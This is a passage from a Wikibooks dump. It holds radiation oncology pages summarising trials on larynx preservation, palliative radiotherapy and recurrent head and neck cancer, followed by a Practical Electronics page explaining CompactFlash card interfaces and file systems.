**Randomized. ''Stopped early due to slow accrual.'' 119 patients, resectable Stage III/IV SCHNC excluding NPC and salivary glands (larynx 32% (supraglottis 23%), oral cavity 27%, oropharynx 21%, hypopharynx 12%). T4 56%. Arm 1) surgery + adjuvant RT 60/30 vs. Arm 2) RT 66/33 + concurrent cisplatin 20 mg/m2 + 5-FU 1000 mg/m2 x2 cycles. 90% received at least 1 cycle of chemo 
**'''2005''' {{PMID|16012523}} -- &quot;Surgery and adjuvant radiotherapy vs concurrent chemoradiotherapy in stage III/IV nonmetastatic squamous cell head and neck cancer: a randomised comparison.&quot; (Soo KC, Br J Cancer. 2005 Aug 8;93(3):279-86.) Median F/U 6 years 
***Outcome: 3-year DFS: S+RT 50% vs. chemo-RT 40% (NS). Organ preservation (larynx/hypopharynx 68%, oropharynx 55%, oral cavity 21%). Chemo-RT group had poor surgical salvage of 47%, with no long-term survivors (possibly due to larger proportion of T4 and oral cavity cancers) 
***Conclusion: Chemo-RT not superior to surgery+RT, but can be attempted for organ preservation in larynx, hypopharynx, and oropharynx 

*'''GETTEC''' (1986-1989) -- total laryngectomy + postop RT vs induction chemo + RT
**Randomized. ''Trial stopped prematurely because patients refused laryngectomy.'' 68 patients. Glottic larynx, T3N0-N2b, fixed vocal cords. Supraglottic larynx or resectable disease not eligible (different population than VA Larynx trial). Arm 1) Total laryngectomy, if N0 then modified neck dissection, if N+ then radical neck dissection followed by post-op RT. Postop RT 50 Gy if SM- and LN-; else 65-70 Gy vs. Arm 2) Induction chemo cisplatin 100 mg/m2 + 5-FU 1000 mg/m2 Q3W x3 cycles, followed by RT 65-70 Gy (36%). If tumor progression on chemo, received total laryngectomy (55%)
**'''1998''' {{PMID|9692058}} -- &quot;Randomized trial of induction chemotherapy in larynx carcinoma.&quot; (Richard JM, Oral Oncol. 1998 May;34(3):224-8.) Median F/U 8.3 years
***Outcome: Induction 55% progressed and required laryngectomy. 2-year OS induction 69% vs. laryngectomy 84% (SS)
***Conclusion: Larynx preservation cannot be considered a standard treatment at the present time

*'''VA Larynx Trial''' (1985-1989) - Total laryngectomy + postop RT vs. induction chemo + RT 
**Randomized. 332 patients. Stage III or IV (excluding T1N1) cancer of the glottic or supraglottic larynx (63% supraglottic). Arm 1) Classic wide-field total laryngectomy, regional LND + postop RT vs. Arm 2) Induction chemo (cisplatin 100 mg/m2 + 5-FU 1000 mg/m2 Q3W x3 cycles) + radical RT. If not at least a PR to chemo after 2nd cycle, underwent surgery and post-op RT. Primary RT 66-76 Gy and neck 50-75 Gy depending on nodal size. Assessed 12 weeks after RT and had salvage laryngectomy if residual disease in larynx or neck dissection for residual nodal disease. Postop RT 50 Gy to microscopic disease, 60 Gy to high risk areas, and 65-74 Gy to residual disease. 
**'''2-years; 1991''' {{PMID|2034244}} &amp;mdash; &quot;Induction chemotherapy plus radiation compared with surgery plus radiation in patients with advanced laryngeal cancer.&quot;  (The Department of Veterans Affairs Laryngeal Cancer Study Group. N Engl J Med. 1991 Jun 13;324(24):1685-90.) Median F/U 2.7 years
***Outcome: 2-year OS chemo-RT 68% vs surgery+RT 68% (NS); DFS (NS) but but pattern of recurrence differed, with more recurrence at the primary site (12% vs 2%) in chemo/RT group vs more distant mets in surgery group (17% vs 11%). 
***Larynx preservation: Overall 64%. Laryngectomy 18% after induction alone, 11% after induction + RT for persistent tumor, 7% for recurrent tumor (majority within 1st year). Salvage laryngectomy T3 29% vs. T4 56% (SS), Stage III 29% vs. Stage IV 44% (SS)
***Conclusion: Induction chemotherapy and radiation can be effective in preserving larynx, without compromising survival
**'''3-years; 1993''' {{PMID|8221647}} -- &quot;Recent advances in head and neck cancer--larynx preservation and cancer chemoprevention: the Seventeenth Annual Richard and Hinda Rosenthal Foundation Award Lecture.&quot; (Hong WK, Cancer Res. 1993 Nov 1;53(21):5113-20.)
***Nice overview of larynx preservation history. 3-year outcome induction chemo 56% vs. surgery-RT 53% (NS). Survival for patients who failed induction chemo and underwent laryngectomy (18%) comparable. Larynx preservation 62%, improved swallowing.
**No difference in survival at 10 years of follow-up. (later paper)

===Chemo-RT vs. RT Alone===
*'''EORTC 24954''' (1996-2004) -- Sequential chemo-RT vs. alternating chemo-RT
**Randomized. 450 patients. Larynx T2-T4 N0-N2 (21% by AJCC staging) or Hypopharynx T2-T4 N0-N2 (79% by AJCC staging), surgical candidates for total laryngectomy not requiring flap closure. Excluded if candidates for partial laryngectomy. Arm 1) Sequential chemo-&gt;RT. Induction cisplatin 100 mg/m2 + 5-FU 1000 mg/m2 x4 cycles followed by RT 70 Gy; if stable/progression on chemo, total laryngectomy vs Arm 2) Alternating chemo-&gt;RT. Cisplatin 20 mg/m2 + 5-FU 200 mg/m2 x1 week -&gt; RT 20 Gy -&gt; cisplatin/5-FU x1 week -&gt; RT 20 Gy -&gt; cisplatin/5-FU x1 week (based on prior Italian randomized data)
**'''6-years; 2009''' {{PMID|19176454}} -- &quot;Phase 3 Randomized Trial on Larynx Preservation Comparing Sequential vs Alternating Chemotherapy and Radiotherapy.&quot; (Lefebvre JL, J Natl Cancer Inst. 2009 Jan 27. [Epub ahead of print]) Median F/U 6.5 years
***Outcome: Larynx preservation sequential 1.6 years vs. 2.3 years (NS); 5-year larynx preservation 30% vs. 36% (NS). Median OS sequential 4.4 years vs. alternating 5.1 years (NS); median PFS 3.0 vs 3.1 years (NS). DSS ~50%. Salvage surgery sequential 30% vs. alternating 22%. No difference in patterns of relapse
***Toxicity: Grade 3-4 mucositis sequential 32% vs. alternating 21%; late fibrosis 16% vs. 11%
***Conclusion: Both strategies valid for larynx preservation
***Editorial ({{PMID|19176460}}): larynx preservation defined as survival with larynx without tumor, tracheotomy or use of feeding tube, which gives these states equal utility as death; other issues with endpoints used for larynx preservation. Need a common standardized endpoint

*'''RTOG 91-11 / Intergroup''' (1992-2000) -- Sequential chemo -&gt; RT vs. concurrent chemo-RT vs. RT alone
**Randomized, 3 arms. 518/547 patients. Stage III or IV cancers of the glottic or supraglottic larynx, which would require total laryngectomy. Excluded T1 and large volume T4 (penetrating through cartilage or &gt;1cm into BOT). Arm 1) Induction cisplatin 100 mg/m2 + 5-FU C.I. 1000 mg/m2 Q3W x3 cycles, followed by RT (if CR or PR) or laryngectomy if poor response (this Arm based on results of the VA Larynx trial) vs. Arm 2) Concurrent cisplatin 100 mg/m2 Q3W + RT vs. Arm 3) RT alone. RT dose was 70/35, elective neck and SCV 50/25. Patient in the first arm who had salvage surgery for poor response to chemo received adjuvant RT to 50-70 Gy depending on surgical margin status. Planned lymph node dissection was performed for LN &gt; 3cm or multiple lymph nodes at original staging. In induction group, 83% continued to RT and most of others received more chemotherapy or RT but not surgery. End point was preservation of larynx
**'''ASTRO; 2002''' Webcast: [http://play.rbn.com/play.ram?url=irbs/RBNCRM/ASTRO/g2demand/plenary/play141.smil&amp;mode=compact&amp;proto=rtsp Moshe Maor] [http://play.rbn.com/play.ram?url=irbs/RBNCRM/ASTRO/g2demand/plenary/play167.smil&amp;mode=compact&amp;proto=rtsp Discussion: Louis Harrison]
**'''4-years; 2003''' - {{PMID|14645636}} &amp;mdash; &quot;Concurrent chemotherapy and radiotherapy for organ preservation in advanced laryngeal cancer.&quot; (Forastiere AA et al. N Engl J Med. 2003 Nov 27;349(22):2091-8.) Median F/U 3.8 years
***Larynx preservation: induction 72% (SS) vs. concurrent 84% vs. RT alone 67% (SS).  No benefit to induction chemo over RT alone. Laryngectomy-free survival at 2-years and 5-years was 59%/43% (induction), 66%/45% (concurrent), and 53%/38% (RT alone), with no S.S. difference between the two chemo groups  but a S.S. difference between concurrent and RT alone. There was no difference in LFS between the two chemo arms due to an increase in intercurrent deaths for the concomitant group.
***Speech &amp; swallow: 2-year moderate+ impediment induction 3% vs. concurrent 6% vs. RT alone 8% (NS)
***Outcome: 2-year OS induction 76% vs. concurrent 74% vs. RT alone 75% (NS). 5-year OS 55% vs. 54% vs. 56% (NS). LC 64% (SS) vs. 80% vs. 56% (SS), no benefit for induction over RT alone. DM induction 9% vs. chemo-RT 8% vs. RT alone 16% (SS)
***Toxicity: Grade 3-4 induction chemo 24% vs. concurrent chemo 30% vs. RT alone 36% (NS); treatment-related deaths 3% vs. 5% vs. 3%
***Conclusion: Larynx preservation best with concurrent chemo; distant mets reduced by chemotherapy. 
**'''Salvage Laryngectomy; 2003''' {{PMID|12525193}} &amp;mdash; &quot;Outcome of salvage total laryngectomy following organ preservation therapy: the Radiation Therapy Oncology Group trial 91-11.&quot; (Weber et al. Arch Otolaryngol Head Neck Surg. 2003 Jan;129(1):44-9.)
***Outcome: Total laryngectomy induction 28% vs. concurrent 16% vs. RT alone 31% (SS). Complication rate 52-59% (NS), pharyngocutaneous fistula 15-30%. LRC 74% vs. 74% vs. 90%. 2-year OS 69% vs. 71% vs. 76% (NS)
***Conclusion: Laryngectomy following organ preservation treatment has acceptable morbidity. Survival not influenced by initial organ preservation strategy
**'''5-years; 2006''' [http://www.asco.org/ascov2/Meetings/Abstracts?&amp;vmview=abst_detail_view&amp;confID=40&amp;abstractID=30895 ASCO Abstract] -- &quot;Long-term results of Intergroup RTOG 91-11: A phase III trial to preserve the larynx--Induction cisplatin/5-FU and radiation therapy versus concurrent cisplatin and radiation therapy versus radiation therapy.&quot; (Forastiere AA, Journal of Clinical Oncology, 2006 ASCO Annual Meeting Proceedings Part I. Vol 24, No. 18S (June 20 Supplement), 2006: 5517) 
***Outcome: 5-year laryngectomy-free survival I+RT 45% vs CRT 47% vs. RT 34% (SS). Laryngeal preservation 70% vs. 84% vs 66% (SS). LRC 55% vs 69% vs 51% (SS). CRT significantly better than I+RT or R. DM low 14% vs. 13% vs 22% (NS). OS 59% vs. 55% vs. 53% (NS)
***Conclusion: Concurrent chemo-RT superior treatment in terms of larynx preservation and locoregional control, but no difference in 5-year overall survival
**'''10-years; 2012''' {{PMID|23182993}} -- &quot;Long-Term Results of RTOG 91-11: A Comparison of Three Nonsurgical Treatment Strategies to Preserve the Larynx in Patients With Locally Advanced Larynx Cancer.&quot; (Forastiere AA, J Clin Oncol. 2013 Mar 1;31(7):845-52)
***Median f/u 10.8 yr. Both chemo/RT regimens improved LFS compared with RT alone (HR 0.75 induction, 0.78 concomitant). No significant difference in OS. Concomitant chemo/RT improved larynx preservation rate over induction chemo/RT (HR 0.58) and RT alone; induction chemo/RT was not better than RT alone.
***No difference in late effects, but deaths not attributed to larynx cancer or treatment were higher with concomitant chemo/RT (30.8% vs 20.8% induction vs 16.9% RT alone).
***Conclusion: &quot;induction PF followed by RT and concomitant cisplatin/RT show similar efficacy for the composite end point of LFS. Locoregional control and larynx preservation were significantly improved with concomitant cisplatin/RT compared with the induction arm or RT alone. New strategies that improve organ preservation and function with less morbidity are needed.&quot;

===Re-Examination of Larynx Preservation===
*'''Editorial; 2010''' {{PMID|19953627}} -- &quot;Reexamining the treatment of advanced laryngeal cancer.&quot; (Olsen KD, Head Neck. 2010 Jan;32(1):1-7.)
**Larynx preservation inappropriate in many patients, survival worsening
**'''Reply; 2010''' {{PMID|19953621}} -- &quot;Reexamining the treatment of advanced laryngeal cancer: the VA laryngeal cancer study revisited.&quot; (Wolf GT, Head Neck. 2010 Jan;32(1):7-14.)
**'''Reply; 2010''' {{PMID|19953631}} -- &quot;Larynx preservation and survival trends: should there be concern?&quot; (Forastiere AA, Head Neck. 2010 Jan;32(1):14-7.)

===Practice Guidelines===
*'''ASCO; 2006''' {{PMID|16832122}} -- &quot;American Society of Clinical Oncology clinical practice guideline for the use of larynx-preservation strategies in the treatment of laryngeal cancer.&quot; (ASCO, J Clin Oncol. 2006 Aug 1;24(22):3693-704.)

==Other Resources==
*[https://www.astro.org/uploadedFiles/Affiliates/ARRO/Resident_Resources/Educational_Resources/Case_Vingettes/ARROCase%20Supraglottic%20Larynx%20Pranshu%20Mohindra.pdf ARRO Case - Supraglottic Larynx]</text>
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&lt;big&gt;'''Head &amp; Neck Palliation'''&lt;/big&gt;

*'''Princess Margaret; 2011''' (2003-2008) {{PMID|20950952}} -- &quot;Retrospective study of palliative radiotherapy in newly diagnosed head and neck carcinoma.&quot; (Stevens CM, Int J Radiat Oncol Biol Phys. 2011 Nov 15;81(4):958-63.)
**Retrospective. 148 pts underwent palliative RT. Median age 72. Reason for palliative treatment was advanced locoregional disease in 24%, metastatic disease in 38%, poor performance status in 22%, or a combination in 16%. Various regimens: 50/20 (most common), 24/3, 60/25, 30/10, 60/30, 70/35. The 50/20 regimen gave 2 cycles of 25 Gy in 10 fractions separated by a 2 week break, total course of 6 weeks.
**70% completed the planned RT course. 73% of pts had died, with a median f/u of 4.8 months and MS of 5.2 months. Radiation dose was a significant predictor for overall survival and treatment response. 
**Conclusion: palliative RT provides symptomatic relief in most patients. In selected patients, higher dose palliative RT should be considered to maximize the durability of local control.

*'''UC Davis; 2008''' (2001-2007) {{PMID|18798313}} -- &quot;Palliative radiation therapy for head and neck cancer: Toward an optimal fractionation scheme.&quot; (Chen AM, Head Neck. 2008 Sep 16. [Epub ahead of print])
**Retrospective. 60 patients, primary H&amp;N sites, typically painful recurrent disease. Used various regimens: 44.4/12 (RTOG 85-02 protocol @ 3.7 Gy/fx BID for 2 consecutive days at 2-3 week intervals), 70/35, 30/10, 37.5/15, 20/5
**Palliative response: 83%, 77%, 67%, 86%, 60% (NS)
**Toxicity: Grade 3+ 44.4/12 9% vs. other regimens 37% (SS)
**Conclusion: All schedules effective at palliation, RTOG 85-02 scheme less toxicity</text>
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    <title>Radiation Oncology/Head &amp; Neck/Recurrent</title>
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&lt;big&gt;'''Recurrent H&amp;N Cancer'''&lt;/big&gt;

==Overview==
Results of treatment:
*Chemotherapy alone: MS 7-9 months, 5-10% long-term survival
*RT alone (hyperfractionated): LRC 40%
*RT + 5-FU/hydroxyurea: 5-yr OS 14.6%
*RTOG 96-10: BID RT + 5-FU/hydroxyurea, MS 8 mos, OS 1 yr 41.7%, 2 yr 16.9%
*RTOG 99-11: BID RT + cisplatin/taxol, 2 yr OS 25.2%


:''See also:'' [[Radiation Oncology/Head &amp; Neck/Nasopharynx/Advanced Stage#Reirradiation]] ''for reirradiation of the nasopharnx''


==Surgery +/- Reirradiation==
'''''Randomized studies:'''''
*'''GETTEC/GORTEC''' (1999-2005) -- salvage surgery +/- reirradiation + chemotherapy
**Randomized. 130 patients, H&amp;N cancer, either recurrence or second primary in a previously irradiated area, no major sequelae. Treated with R0-R1 surgery. Arm 1) adjuvant salvage chemotherapy + re-irradiation vs. Arm 2) observation. RT given 60 Gy over 11 weeks with concurrent 5-FU and hydroxyurea
**'''2008''' {{PMID|18936479}} -- &quot;Randomized Trial of Postoperative Reirradiation Combined With Chemotherapy After Salvage Surgery Compared With Salvage Surgery Alone in Head and Neck Carcinoma.&quot; (Janot F, J Clin Oncol. 2008 Oct 20. [Epub ahead of print])
***Outcome: DFS improved (HR 1.68, SS), OS no difference
***Late toxicity: 2-years Grade 3-4 RT arm 39% vs. observation arm 10% (p=0.06)
***Conclusion: Full-dose reirradiation combined with chemo after salvage surgery significantly improved DFS but not OS. Toxicity was higher

'''''Non-randomized:'''''
*'''U. Penn''' (1998-2001) -- salvage surgery + reirradiation + chemotherapy
**16 pts, pilot study. Chemo/RT given with 1.5 Gy BID given for 2 weeks (to 30 Gy), followed by a break of &amp;ge;1 week, then additional RT (w/ reduced fields, if feasible) to cumulative dose of 54-66 Gy given in 5-5.5 weeks. (Median 60 Gy; pts with negative margins given 54 Gy.) Cisplatin (25 mg/m2 on days 1-3, total 75 mg/m2) and 5-FU (continuous infusion, 500 mg/m2/d for 4 days) given weeks 1 and 5.
**'''2004''' {{PMID|15093901}} -- &quot;Pilot study of postoperative reirradiation, chemotherapy, and amifostine after surgical salvage for recurrent head-and-neck cancer.&quot; (Machtay M, Int J Radiat Oncol Biol Phys. 2004 May 1;59(1):72-7.)
***LRC 2-yr 100%, 3-yr 81%. OS 2-yr 81%, 3-yr 63%. EFS 2-yr 81%, 3-yr 50%. FFDM 2-yr 88%, 3-yr 80%
***Tox: Grade 3 or higher late effects in 38% (3 - grade 4; 1 - death due to bilateral stroke).
***Conclusion: Feasible, with acceptable acute toxicity, but with significant severe late effects.

*'''Institut Gustave-Roussy''' (1991-96) -- salvage surgery + reirradiation + chemotherapy
**25 pts. Chemo/RT given with 5-7 cycles of 2 Gy/day (days 1-5), hydroxyurea (days 1-5), and 5-FU (days 1-5); 1 week rest between cycles; median was 6 cycles giving 60 Gy. 
**'''2001''' {{PMID|11391587}} [http://onlinelibrary.wiley.com/doi/10.1002/1097-0142%2820010601%2991:11%3C2071::AID-CNCR1234%3E3.0.CO;2-Z/abstract Full text] -- &quot;Full dose reirradiation combined with chemotherapy after salvage surgery in head and neck carcinoma.&quot; (De Crevoisier R, Cancer. 2001 Jun 1;91(11):2071-6.) 
***Median f/u 66 mo. DFS 2-yr 36% and 5-yr 26%. OS 4-yr 43%. Of 9 pts still living, 6 were in CR at a median f/u of 67 mo.
***Tox: acute gr3-4 mucositis (40% and 12%). Late toxicities -- 16% osteoradionecrosis, 40% gr2-3 cervical fibrosis.
***Post-operative re-irradiation + chemotherapy was feasible with acceptable toxicity. (Note: led to the GETTC/GORTEC randomized trial.)

==Reirradiation and chemo-reirradiation==
'''''With chemotherapy:'''''
*'''RTOG 99-11''' (2000-2003)
**Phase II. 105 patients with recurrent SCCHN or second primary tumor (SPT, 23%) in prior RT field. Oropharynx 40%, oral cavity 27%. Median prior RT dose 65 Gy. RT 1.5 Gy/fx BID x5 days, every 2 weeks, x4. Concurrent cisplatin 15mg/m2 + paclitaxel 20mg/m2. GM-CSF on off weeks. (RT the same as RTOG 96-10). 
**'''2007''' {{PMID|17947728}} -- &quot;Phase II study of low-dose paclitaxel and cisplatin in combination with split-course concomitant twice-daily reirradiation in recurrent squamous cell carcinoma of the head and neck: results of Radiation Therapy Oncology Group Protocol 9911.&quot; (Langer CJ, J Clin Oncol. 2007 Oct 20;25(30):4800-5.)
***Outcome: median OS 12 months; 2-year OS 26%
***Toxicity: Grade 4-5 in 28%, treatment-related death 8% (n=8)
***Conclusion: Despite high incidence of Grade 5 toxicity, results better than chemo alone

*'''U. Chicago; 2006''' (1986-2001) {{PMID|16213104}} &amp;mdash; &quot;Long-term outcome of concurrent chemotherapy and reirradiation for recurrent and second primary head-and-neck squamous cell carcinoma.&quot; Salama JK et al. Int J Radiat Oncol Biol Phys. 2006 Feb 1;64(2):382-91.
**115 patients. Previously irradiated, recurrent or second primary. Treated on seven consecutive trials of hydroxyurea and 5-FU with an optional 3rd agent (CDDP, Taxol, CPT-11) or 5-FU + Taxol + Gemcitabine. Treated on 14 day cycles with chemo/RT given on days 1-5 followed by a 9 day break. Pts received 4 to 7 cycles. Most were treated at 2 Gy/day or 1.5 Gy BID. At least 70 Gy to gross disease. Included trials are: {{PMID|2715806}} (1989), {{PMID|1602911}} (1992), {{PMID|7525886}} (1994), {{PMID|9469365}} (1998), {{PMID|10942062}} (2000), {{PMID|15297392}} (2004), {{PMID|15969989}} (2005)

*'''RTOG 96-10''' (1996-1999)
**86 patients. Recurrent squamous cell cancer or a second primary in a previously irradiated field. RT finished &gt; 6 months prior. RT 60 Gy at 1.5 Gy BID, with &gt; 4 hrs between fractions, given on weeks 1, 3, 5, 7. Chemo (5-FU/hydroxyurea) given prior to 2nd daily dose. Dose to spinal cord limited to 50 Gy (prior + current).  Fields include tumor with 2 cm margins. Treated with standard fields or 3D-CRT, no IMRT.
**'''2001''' {{PMID|11728690}} &amp;mdash; &quot;RTOG 96-10: reirradiation with concurrent hydroxyurea and 5-fluorouracil in patients with squamous cell cancer of the head and neck.&quot; Spencer SA et al. Int J Radiat Oncol Biol Phys. 2001 Dec 1;51(5):1299-304.
**'''2008''' {{PMID|17764087}} -- &quot;Final report of RTOG 9610, a multi-institutional trial of reirradiation and chemotherapy for unresectable recurrent squamous cell carcinoma of the head and neck.&quot; (Spencer SA, Head Neck. 2008 Mar;30(3):281-8.)
***Outcome: 2-year OS 15%, 5-year OS 4%; better survival if &gt;1 year from prior RT. No dose-response
***Toxicity: Acute Grade 4 in 18%, Grade 5 in 8%. Late (&gt;1-year) Grade 3-4 9%
***Conclusion: Feasible approach with acceptable acute and late effects

*'''MSKCC; 2007''' {{PMID|17379449}} &amp;mdash; &quot;Salvage re-irradiation for recurrent head and neck cancer.&quot; (Lee N, Int J Radiat Oncol Biol Phys. 2007 Jul 1;68(3):731-40.)
**105 pts w/ recurrent HNSCC. Median time from previous RT 38 mo (all &gt;5 mo). Median previous dose 62 Gy. Only 1 pt w/ new primary, rest recurrent.
**71% rec'd concurrent chemo; 70% treated w/ IMRT. 25% had gross total resection prior to re-RT.
**Median re-RT dose was 59.4 Gy, mostly delivered in QD fx's (87%). No effort to spare parotids. Cumulative cord dose limited to 50 Gy, brainstem 60 Gy. 
**Non-nasopharynx recurrence and non-IMRT pts did worse.  Pts w/ LC had better 2-yr survival (56% vs 21%) than those w/ local failure.
**Severe late grade 3-4 complications in 11%, at median time 6 mo.
**Conclusions: achieving local control is crucial in prolonging survival in recurrent HNSCC; IMRT associated w/ better LC


'''''With or without chemotherapy:'''''
*'''Institut Gustave-Roussy; 1998''' (1980-96) {{PMID|9817275}} -- &quot;Full-dose reirradiation for unresectable head and neck carcinoma: experience at the Gustave-Roussy Institute in a series of 169 patients.&quot; (De Crevoisier R, J Clin Oncol. 1998 Nov;16(11):3556-62.) 
**169 pts with recurrences or new primary tumors (19%). Treated with either: 1) RT alone 65 Gy over 6.5 weeks at 2 Gy/d (n=27); 2) Chemo/RT with conv. fx RT week-on-week-off, median 60 Gy at 2 Gy/d, with 5-FU + hydroxyurea (n=106); or 3) Chemo/RT with hyperfractionated RT week-on-week-off, 60 Gy at 1.5 Gy BID, with mitomycin + 5-FU + cisplatin (n=36).  Median cumulative dose 120 Gy.
**Median f/u 70 months. 37% of pts in complete response at 6 months. 5 died of carotid hemorrhage. OS 21% at 2 yrs, 9% at 5 yrs. MS 10 months. 13 pts were long term survivors (of whom 12 pts were treated with the 2nd regimen: conv. fx. RT wo/wo + chemo).
**Conclusion: full-dose reirradiation was feasible


'''''Attempted studies:'''''
*'''RTOG 04-21''' -- closed due to poor accrual
**Randomized to re-irradiation + concurrent chemotherapy (cisplatin/taxol) vs chemo alone. Chemo is choice of cisplatin/taxol, cisplatin/5-FU, or cisplatin/taxotere

'''''Reviews:'''''
*'''2011''' {{PMID|22115554}} -- &quot;Practical Considerations in the Re-Irradiation of Recurrent and Second Primary Head-and-Neck Cancer: Who, Why, How, and How Much?&quot; (Chen AM, Int J Radiat Oncol Biol Phys. 2011 Dec 1;81(5):1211-9.)

==Chemo Alone==
*'''EXTREME''' (2004-2005) -- Chemotherapy (cisplatin or carbo/5-FU) +/- cetuximab
**Randomized. 442 patients with recurrent or metastatic SCC of H&amp;N. Arm 1) chemotherapy (cisplatin 100 mg/m2 or carbo AUC 5 + 5F-FU 1000 mg/m2) x6 cycles vs. Arm 2) same chemotherapy + cetuximab 250 mg/m2 x6 cycles. If stable disease, cetuximab until disease progression or toxicity
**'''2008''' {{PMID|18784101}} -- &quot;Platinum-based chemotherapy plus cetuximab in head and neck cancer.&quot; (Vermorken JB, N Engl J Med. 2008 Sep 11;359(11):1116-27.)
***Outcome: Median OS chemo 7 months vs. chemo+cetuximab 10 months (SS)
***Toxicity: Grade 4 comparable except sepsis worse in cetuximab arm
***Conclusion: Cetuximab + platinum chemotherapy improved overall survival compared with chemotherapy alone


==SBRT==
*'''Catholic University of Korea; 2009''' (2004-2006) {{PMID|19117695}} -- &quot;Fractionated stereotactic radiotherapy as reirradiation for locally recurrent head and neck cancer.&quot; (Roh KW, Int J Radiat Oncol Biol Phys. 2009 Aug 1;74(5):1348-55. Epub 2008 Dec 29.)
**Retrospective. 36 patients, 44 sites, recurrent HNC. Median dose 30 Gy (18-40) in 3-5 fractions, prescribed to 65-85%. Prior RT median 70.2 Gy. Median GTV 23 cm3. Median F/U 1.5 years
**Outcome: CR 43%, PR 37%, SD 9%, progression 11%. 
**Toxicity: Late Grade 3 in 8% (1 bone necrosis, 2 soft tissue necrosis)
**Conclusion: Effective salvage, with good short-term control; more experience needed

==Pattern of Failure==
*'''Michigan; 2009''' {{PMID|19135312}} -- &quot;The pattern of failure after reirradiation of recurrent squamous cell head and neck cancer: implications for defining the targets.&quot; (Popovtzer A, Int J Radiat Oncol Biol Phys. 2009 Aug 1;74(5):1342-7. Epub 2009 Jan 8.)
**Retrospective. 66 patients, curative-intent re-RT for unresectable recurrence. Target was rGTV + 0.5 cm margin, no prophylactic LN or subclinical disease around rGTV. Median re-RT dose 68 Gy, concomitant chemo 71%, AHFX 47%. Median F/U 3.5 years
**Outcome: 3rd recurrence or persistent disease in 77%. Majority (96%) of failures were within rGTV
**Toxicity: Late Grade 3+ toxicity 29%, mostly dysphagia
**Conclusion: Confine re-RT targets to rGTV to reduce reirradiated normal tissue</text>
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  <page>
    <title>Practical Electronics/Memory Devices/CompactFlash</title>
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      <text bytes="6698" sha1="pffotwozlu259r55lpfr85yr3jffgig" xml:space="preserve">[[File:CompactFlash Sandisk 4GB ExtremeIII.jpg|thumb|A 4GB CompactFlash card can hold a lot of data, draws little power and is relatively easy to use.]]

'''CompactFlash cards''' are a very common [[w:flash memory|flash]]-based removable storage technology that was first released in 1994. It is heavily based on the PCMCIA standard. CompactFlash (CF) cards are larger than most other memory cards, but they are more rugged than most and have the advantage of a simple and open interface protocol, as opposed to devices like SD cards, which have proprietatry interfaces.

CompactFlash cards have 50 pins, but only 15 are absolutely necessary for a minimal interface, which means that many mid-range microcontrollers have enough pins to use one. CompactFlash cards have so many pins partly because they use a parallel data bus, presenting and outputting 8 or 16 bits at a time, which are all sent together. Devices like SD cards have a serial interface, which requires much more complicated timing to use.

All NAND based flash memory operates in blocks - you cannot access individual bytes or words like you can in RAM. CF cards almost invariably have a 512 byte block size. If you want to read, write or change any data, you must always deal with the entire block. This is a limitation of NAND flash memory, but it is the trade-off made for such enormous capacity.

A CF card can be used to store any data at all, and this included raw, unformatted bytes, or a full file system, such as FAT or ext3. We will firstly deal with simple raw data operations. File systems can be implemented on top of this if required.

==The CompactFlash format==

Physically, CF cards are rectangular, with slots in the sides for guides in the socket and a female connector on the card, which mates with male pins in the socket. There are two form factors for CF card, Type I and Type II, the only difference being the physical thickness of the card. Type II cards are 5mm thick and Type I are 3.3mm thick. Everything else is identical, so a Type I card will fit in a Type II socket, but not the other way around.

CompactFlash cards are generally more rugged that other formats. They can withstand shock of 2000G (a three-metre drop onto a hard surface) and are rated to at least 10000 mating cycles. In normal usage, a CompactFlash card can be expected to last around a hundred years.&lt;ref&gt; http://www.compactflash.org/faqs/faq.htm#shock&lt;/ref&gt;

===Pinout===

The pins of a CompactFlash card are arranged in a 2×25 rectangular array with 0.05 inch spacing (50 mils or 1.27mm). CF cards have slots on each side, which are used to ensure the card cannot be inserted upside down or backwards. When looking into the card's connector, the wider slot is on the left when oriented as in the image below.

[[File:CompactFlash Pinout.svg|center|frame|Pinout of the female connector on a CompactFlash card, shown looking into the card.]]

The function of the pins can depend on the mode that the card is being used in. See [[Practical_Electronics/Device_pinouts/CompactFlash_cards|here]] for a full pinout description.

==Memory Modes==

CompactFlash cards support three modes of memory access: PC Card Memory mode, PC Card I/O mode and True IDE Mode.

===PC Card Memory mode===

In PC Card Memory mode (or Common Memory mode), the task file registers are mapped into the common memory space of the CompactFlash card.

In this mode, the card can perform either 8-bit or 16-bit I/O operations to any of the common memory addresses.

===PC Card I/O mode===

In PC Card I/O mode (or I/O Function mode), the task file is mapped into the I/O memory space.

===True IDE mode===

In True IDE mode, task file registers are mapped into the I/O memory space, like in the I/O mode. True IDE mode has the advantage that direct interfaces with existing IDE buses are possible, as the CF card appears exactly like a hard-drive.

True IDE mode is specified by holding {{overline|ATA SEL}} (pin 9) low during power-up. There are sometimes ways to switch into True IDE mode, but these cannot be relied on as they are optional in the specification.

In True IDE mode, the PCMCIA protocol and all configuration is disabled. Only I/O operations to the task file and data register allowed, with no memory or attribute registers accessible.

==A minimal interface==

CompactFlash cards can be used with only a fraction of the pins connected to a controller device. This is very useful when a microcontroller or other device has limited pins. The downside is that this method is slower than using all the available pins. This method uses an 8-bit interface, which is ideal for most low- to mid-range microcontrollers with 8-bit architectures. 

When in common memory mode, all necessary registers can be accessed using just 3 address lines, and the interface is particular simple. The information needed for the card to read and write data is first loaded into control registers, and then the data is read out a byte at a time.

==File systems==

CompactFlash cards have no intrinsic file system in their memory, it is just blocks of raw data. File systems that allow the card to be read as a disc by a computer, such as FAT, NTFS or ext3, are placed into memory just like any other data, but have special significance to a computer that reads them.

===Windows file systems===

When using a disc formatted with FAT, the first 512 bytes of data (sector 0) contain the master boot record (MBR), which tells the computer how big the disc is, how the memory is arranged and the name of the card, amongst other information. If you corrupt or remove this information by writing into sector 0, Windows will be unable to recognise the CF card as usable memory. It may even be impossible to recognise the disc enough to reformat it normally.

In this case, an &quot;unconditional&quot; format is required. Using the command prompt, enter the following (replace &lt;code&gt;X:&lt;/code&gt; with the relevant drive letter).

 format X: /fs:fat /u

You may need to do this twice to fully restore the disc to a Windows-compatible format. This method may destroy some data on the CF card. To prevent this, always begin indexing the CF card from sector 1 or higher. This may still corrupt the file system if you write blindly, but you will be able to mount the disc to retrieve data with tools such as WinHex.

==Further reading==
{{wikipedia|CompactFlash}}
*[http://people.cis.ksu.edu/~dominic/mse/resources/compact_flash_spec_2.0.pdf CompactFlash 2.0 Specification]

{{clear}}
==References==
{{reflist}}

== External Links ==

*[http://www.winhex.com/winhex/ Winhex]: A powerful disc-editing tool that lets you read the raw bytes from a storage device such as a CF card.

{{BookCat}}</text>
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    <title>FFMPEG An Intermediate Guide/image sequence</title>
